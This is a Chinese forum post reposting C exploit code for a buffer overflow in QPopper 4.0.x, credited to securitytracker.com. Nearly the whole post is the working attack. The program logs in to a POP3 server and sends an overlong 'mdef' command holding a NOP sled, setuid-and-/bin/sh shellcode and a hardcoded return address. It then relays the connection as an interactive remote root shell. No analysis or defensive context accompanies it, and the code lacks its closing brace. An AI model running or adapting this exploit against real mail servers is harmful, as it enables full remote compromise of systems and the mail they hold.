发新话题
打印

QPopper 4.0.x buffer overflow vulnerability(4.0.8)

QPopper 4.0.x buffer overflow vulnerability(4.0.8)

信息来源:www.securitytracker.com
复制内容到剪贴板
代码:
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

char *sc = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
        "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x08\x40"
        "\x40\x40\xcd\x80";        

#define BUFLEN 1006
#define RETLEN 148
#define RETADDR 0xbfffd304

int main (int argc, char **argv) {
  int fd, len, i, retaddr = RETADDR;
  char *bp, buf[2000];
  struct sockaddr_in peer;
  fd_set fs;

  if (argc != 4) {
    fprintf(stderr, "Usage: %s <ip> <user> <pass>\n\n", argv[0]);
    exit(EXIT_FAILURE);
  }
  
  peer.sin_family = AF_INET;
  peer.sin_port = htons(110);
  peer.sin_addr.s_addr = inet_addr(argv[1]);
  fd = socket(AF_INET, SOCK_STREAM, 0);
  if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) {
    perror("connect");
    exit(EXIT_FAILURE);
  }
  snprintf(buf, 1024, "USER %s\n", argv[2]);
  write(fd, buf, strlen(buf));
  snprintf(buf, 1024, "PASS %s\n", argv[3]);
  write(fd, buf, strlen(buf));
  memset(buf, 0x90, 2000);
  memcpy(buf, "mdef ", 5);
  memcpy(buf + BUFLEN - RETLEN - strlen(sc), sc, strlen(sc));
  bp = (char *) (((unsigned int)(buf + BUFLEN - RETLEN)) & 0xfffffffc);
  for (i = 0; i < RETLEN; i += 4)
    memcpy(bp+i+2, &retaddr, sizeof(int));
  buf[BUFLEN-2] = &#39;(&#39;;
  buf[BUFLEN-1] = &#39;)&#39;;
  buf[BUFLEN] = &#39;\n&#39;;
  write(fd, buf, BUFLEN+1);
  while (1) {
    FD_ZERO(&fs);
    FD_SET(0, &fs);
    FD_SET(fd, &fs);
    select(fd+1, &fs, NULL, NULL, NULL);
    if (FD_ISSET(0, &fs)) {
     if ((len = read(0, buf, 1000)) <= 0)
      break;
     write(fd, buf, len);
    } else {
     if ((len = read(fd, buf, 1000)) <= 0)
      break;
     write(1, buf, len);
    }
  }
  
  exit(EXIT_SUCCESS);
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题